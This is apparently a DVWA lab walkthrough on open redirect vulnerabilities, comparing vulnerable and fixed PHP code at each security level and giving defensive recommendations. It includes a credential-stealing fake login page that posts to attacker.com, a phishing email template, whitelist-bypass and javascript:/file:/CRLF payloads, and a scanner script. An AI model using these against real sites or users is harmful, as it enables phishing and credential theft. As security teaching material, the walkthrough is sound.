Skip to main content

Overview

As defined by OWASP:
Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.
Open redirects are commonly used to:
  • Phishing attacks: Legitimate-looking URL redirects to attacker site
  • Credential theft: Clone of login page steals passwords
  • Malware distribution: Redirect to exploit kit or malicious download
  • OAuth/SSO bypass: Manipulate authentication flows
  • SEO poisoning: Redirect search engine crawlers
  • SSRF attacks: Chain with other vulnerabilities

Objective

Abuse the redirect functionality to move users off the DVWA site or to different pages than expected.

Vulnerability Analysis by Security Level

Low Security

Vulnerability: No validation on redirect parameter whatsoever Source Code (/vulnerabilities/open_redirect/source/low.php:1-13):
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    header ("location: " . $_GET['redirect']);
    exit;
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
```text

**Weaknesses**:
- No URL validation
- No whitelist of allowed domains
- No origin/referrer checking
- Accepts any URL in `redirect` parameter

**Attack Methodology**:

**1. Basic external redirect**:
http://dvwa.local/vulnerabilities/open_redirect/source/low.php?redirect=https://evil.com

**2. Phishing attack example**:

Attacker creates fake login page at `https://attacker.com/dvwa-login.html`:

```html
<!DOCTYPE html>
<html>
<head>
    <title>DVWA - Login</title>
    <style>
        /* Mimic DVWA styling */
        body { font-family: Arial; background: #f0f0f0; }
        .login { width: 300px; margin: 100px auto; padding: 20px; background: white; }
    </style>
</head>
<body>
    <div class="login">
        <h2>Session Expired</h2>
        <p>Please log in again:</p>
        <form action="https://attacker.com/steal.php" method="POST">
            <input type="text" name="username" placeholder="Username" /><br/>
            <input type="password" name="password" placeholder="Password" /><br/>
            <input type="submit" value="Login" />
        </form>
    </div>
</body>
</html>
3. Phishing email:
Dear User,

Your account requires verification. Please click below:

http://dvwa.local/vulnerabilities/open_redirect/source/low.php?redirect=https://attacker.com/dvwa-login.html

DVWA Security Team
Victim sees legitimate dvwa.local domain and trusts the link. 4. Data exfiltration:
http://dvwa.local/vulnerabilities/open_redirect/source/low.php?redirect=https://attacker.com/log?ref=
Attacker logs all victims who click the link. 5. JavaScript injection redirect:
http://dvwa.local/vulnerabilities/open_redirect/source/low.php?redirect=javascript:alert(document.cookie)

Medium Security

Mitigation Attempt: Block absolute URLs with protocol Source Code (/vulnerabilities/open_redirect/source/medium.php:1-21):
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    if (preg_match ("/http:\/\/|https:\/\//i", $_GET['redirect'])) {
        http_response_code (500);
        ?>
        <p>Absolute URLs not allowed.</p>
        <?php
        exit;
    } else {
        header ("location: " . $_GET['redirect']);
        exit;
    }
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
```text

**Protection**: Blocks URLs containing `http://` or `https://`

**Weaknesses**:
- Only checks for `http://` and `https://` literals
- Doesn't understand protocol-relative URLs
- Case-sensitive regex (though uses `/i` flag)

**Bypass Method 1: Protocol-Relative URL**

Protocol-relative URLs inherit the protocol (http/https) from the current page:

http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=//evil.com

This redirects to `http://evil.com` (or `https://evil.com` if DVWA uses HTTPS).

**Bypass Method 2: Relative Path to External Domain**

http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=//attacker.com/phishing.html

**How it works**:
- Browser interprets `//attacker.com` as protocol-relative
- Since current page is `http://dvwa.local`, becomes `http://attacker.com`
- No `http://` or `https://` in the parameter, so regex doesn't match

**Bypass Method 3: Alternative Protocols**

http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=ftp://attacker.com http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=file:///etc/passwd http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=javascript:alert(1)

**Practical phishing example**:
http://dvwa.local/vulnerabilities/open_redirect/source/medium.php?redirect=//phishing.attacker.com/dvwa-verify.html

### High Security

**Mitigation Attempt**: Whitelist approach - only allow redirects containing "info.php"

**Source Code** (`/vulnerabilities/open_redirect/source/high.php:1-21`):

```php
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
    if (strpos($_GET['redirect'], "info.php") !== false) {
        header ("location: " . $_GET['redirect']);
        exit;
    } else {
        http_response_code (500);
        ?>
        <p>You can only redirect to the info page.</p>
        <?php
        exit;
    }
}

http_response_code (500);
?>
<p>Missing redirect target.</p>
Protection: Only allows redirects if URL contains “info.php” Weakness: Uses strpos() which checks if string appears anywhere in the URL Bypass Method 1: Query String Injection
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://evil.com?info.php
Breakdown:
  • strpos($_GET['redirect'], "info.php") looks for “info.php” anywhere
  • https://evil.com?info.php contains “info.php” (as query parameter)
  • Validation passes
  • Browser redirects to https://evil.com?info.php
Bypass Method 2: Fragment Injection
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://attacker.com#info.php
Bypass Method 3: Path Injection
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://evil.com/info.php/../../phishing.html
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://evil.com/fake/info.php.html
Bypass Method 4: Subdomain If attacker controls DNS:
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://info.php.attacker.com
Real-world phishing example:
http://dvwa.local/vulnerabilities/open_redirect/source/high.php?redirect=https://phishing-site.com/steal-credentials.php?legitimate=info.php
Victim sees:
  • Legitimate domain: dvwa.local
  • Expected filename: info.php
  • Trusts and clicks

Impossible Security

Proper Defense Implementation Source Code (/vulnerabilities/open_redirect/source/impossible.php:1-29):
$target = "";

if (array_key_exists ("redirect", $_GET) && is_numeric($_GET['redirect'])) {
    switch (intval ($_GET['redirect'])) {
        case 1:
            $target = "info.php?id=1";
            break;
        case 2:
            $target = "info.php?id=2";
            break;
        case 99:
            $target = "https://digi.ninja";
            break;
    }
    if ($target != "") {
        header ("location: " . $target);
        exit;
    } else {
        ?>
        Unknown redirect target.
        <?php
        exit;
    }
}

?>
Missing redirect target.
```text

**Defense Mechanisms**:

1. **Indirect Reference**: Uses numeric IDs instead of URLs
2. **Whitelist Mapping**: ID mapped to specific URL server-side
3. **Type Validation**: Only accepts numeric input via `is_numeric()`
4. **Explicit Casting**: Uses `intval()` to ensure integer
5. **Known Destinations**: Only pre-defined URLs can be reached

**Why It's Secure**:
- User cannot control the destination URL
- All valid destinations are hardcoded server-side
- No way to inject arbitrary URLs
- Type checking prevents injection attacks

**Usage Example**:
http://dvwa.local/vulnerabilities/open_redirect/source/impossible.php?redirect=1 → Redirects to info.php?id=1 http://dvwa.local/vulnerabilities/open_redirect/source/impossible.php?redirect=2 → Redirects to info.php?id=2 http://dvwa.local/vulnerabilities/open_redirect/source/impossible.php?redirect=99 → Redirects to https://digi.ninja http://dvwa.local/vulnerabilities/open_redirect/source/impossible.php?redirect=https://evil.com → “Missing redirect target” (is_numeric fails)

## Defense Recommendations

### 1. Indirect Reference Maps (Best Approach)

```php
// Define allowed redirects
$allowedRedirects = [
    'home' => '/index.php',
    'profile' => '/user/profile.php',
    'logout' => '/auth/logout.php',
    'docs' => 'https://docs.example.com'
];

if (isset($_GET['redirect']) && array_key_exists($_GET['redirect'], $allowedRedirects)) {
    header('Location: ' . $allowedRedirects[$_GET['redirect']]);
    exit;
} else {
    header('Location: /index.php');
    exit;
}

2. Domain Whitelist

function isAllowedDomain($url) {
    $allowedDomains = [
        'example.com',
        'subdomain.example.com',
        'partner.com'
    ];
    
    $parsed = parse_url($url);
    
    if (!$parsed || !isset($parsed['host'])) {
        return false;
    }
    
    return in_array($parsed['host'], $allowedDomains, true);
}

if (isset($_GET['redirect'])) {
    if (isAllowedDomain($_GET['redirect'])) {
        header('Location: ' . $_GET['redirect']);
        exit;
    }
}

header('Location: /index.php');
exit;
```bash

### 3. Relative URL Validation

```php
function isRelativeUrl($url) {
    // Must start with / but not //
    if (preg_match('#^/(?!/)#', $url)) {
        return true;
    }
    return false;
}

if (isset($_GET['redirect'])) {
    if (isRelativeUrl($_GET['redirect'])) {
        // Additional validation: no protocol-relative tricks
        if (strpos($_GET['redirect'], '//') === false) {
            header('Location: ' . $_GET['redirect']);
            exit;
        }
    }
}

header('Location: /index.php');
exit;

4. Comprehensive Validation Function

function validateRedirect($url, $allowedDomains = []) {
    // Default to current domain if no allowed domains specified
    if (empty($allowedDomains)) {
        $allowedDomains = [$_SERVER['HTTP_HOST']];
    }
    
    // Parse URL
    $parsed = parse_url($url);
    
    // If parsing fails, reject
    if ($parsed === false) {
        return false;
    }
    
    // If no host (relative URL), validate it's not protocol-relative
    if (!isset($parsed['host'])) {
        // Must start with / but not //
        if (preg_match('#^/(?!/)#', $url)) {
            return true;
        }
        return false;
    }
    
    // If host is set, must be in whitelist
    if (!in_array($parsed['host'], $allowedDomains, true)) {
        return false;
    }
    
    // Must use http or https
    if (isset($parsed['scheme']) && !in_array($parsed['scheme'], ['http', 'https'], true)) {
        return false;
    }
    
    return true;
}

// Usage
if (isset($_GET['redirect'])) {
    $allowedDomains = ['example.com', 'trusted-partner.com'];
    
    if (validateRedirect($_GET['redirect'], $allowedDomains)) {
        header('Location: ' . $_GET['redirect']);
        exit;
    }
}

header('Location: /index.php');
exit;
```bash

### 5. Warning Page Approach

```php
if (isset($_GET['url']) && isset($_GET['confirm'])) {
    // User confirmed external redirect
    if (filter_var($_GET['url'], FILTER_VALIDATE_URL)) {
        header('Location: ' . $_GET['url']);
        exit;
    }
} elseif (isset($_GET['url'])) {
    // Show warning page
    $targetUrl = htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8');
    $targetDomain = parse_url($_GET['url'], PHP_URL_HOST);
    ?>
    <!DOCTYPE html>
    <html>
    <body>
        <h2>You are leaving our site</h2>
        <p>You are being redirected to: <strong><?php echo $targetDomain; ?></strong></p>
        <p>Do you want to continue?</p>
        <a href="<?php echo $targetUrl; ?>&confirm=1">Yes, continue</a> |
        <a href="/index.php">No, go back</a>
    </body>
    </html>
    <?php
    exit;
}

Common Bypass Techniques

Protocol-Relative URLs

//evil.com
//evil.com/path
///evil.com

Alternative Protocols

javascript:alert(1)
data:text/html,<script>alert(1)</script>
vbscript:msgbox(1)
file:///etc/passwd

URL Encoding

https%3A%2F%2Fevil.com
%68%74%74%70%73%3A%2F%2Fevil.com

Backslash Tricks (Windows/IE)

https:\\evil.com
http:/\/evil.com

CRLF Injection

%0d%0aLocation:%20https://evil.com

Unicode/Homograph

https://exаmple.com  (Cyrillic 'а' instead of Latin 'a')

Subdomain Confusion

https://evil.com.example.com
https://example.com.evil.com

Real-World Attack Scenarios

OAuth Token Theft

# Attacker manipulates OAuth redirect_uri
https://oauth-provider.com/authorize?
  client_id=123&
  redirect_uri=https://victim-app.com/redirect?url=https://attacker.com&
  response_type=token

# Victim app redirects to attacker with access token in URL

SSO Session Hijacking

# SAML response contains redirect parameter
<samlp:Response>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <Assertion>
    <Subject>
      <NameID>[email protected]</NameID>
    </Subject>
  </Assertion>
</samlp:Response>

# Vulnerable app:
https://app.com/sso/callback?RelayState=https://attacker.com

Search Engine Manipulation

# Attacker creates links that Google indexes:
https://trusted-site.com/redirect?url=https://spam-site.com/viagra

# Google sees trusted-site.com domain, indexes spam-site.com content

Testing for Open Redirects

Manual Testing Checklist

  1. Identify redirect parameters:
    • ?url=, ?redirect=, ?next=, ?return=, ?continue=
    • ?redir=, ?destination=, ?target=, ?returnUrl=
  2. Test with external URL:
   ?redirect=https://google.com
  1. Test protocol-relative:
   ?redirect=//google.com
  1. Test alternative protocols:
   ?redirect=javascript:alert(1)
  1. Test whitelist bypass:
   ?redirect=https://evil.com?legitimate.com
   ?redirect=https://evil.com#legitimate.com
   ?redirect=https://legitimate.com.evil.com

Automated Testing

import requests

payloads = [
    'https://evil.com',
    '//evil.com',
    '///evil.com',
    'javascript:alert(1)',
    'https://evil.com?victim.com',
    'https://evil.com#victim.com',
    'https://victim.com.evil.com',
    '/\\evil.com',
    '%0d%0aLocation: https://evil.com'
]

url = 'http://target.com/redirect'

for payload in payloads:
    r = requests.get(url, params={'url': payload}, allow_redirects=False)
    
    if r.status_code in [301, 302, 303, 307, 308]:
        location = r.headers.get('Location', '')
        if 'evil.com' in location:
            print(f'[VULNERABLE] Payload: {payload}')
            print(f'  Redirects to: {location}')
```bash

## Key Takeaways

1. **Never trust user input for redirects**: URLs can be manipulated in many ways
2. **Use indirect references**: Map IDs to URLs server-side
3. **Whitelist domains**: If URLs needed, maintain strict whitelist
4. **Validate thoroughly**: Check protocol, domain, and path components
5. **Beware protocol-relative URLs**: `//evil.com` is valid but dangerous
6. **Consider warning pages**: Show interstitial for external redirects
7. **Test edge cases**: Encoding, Unicode, backslashes, CRLF

## References

- [OWASP Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)
- [CWE-601: URL Redirection to Untrusted Site](https://cwe.mitre.org/data/definitions/601.html)
- [WSTG - Testing for Client-side URL Redirect](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Client-side_URL_Redirect)

Build docs developers (and LLMs) love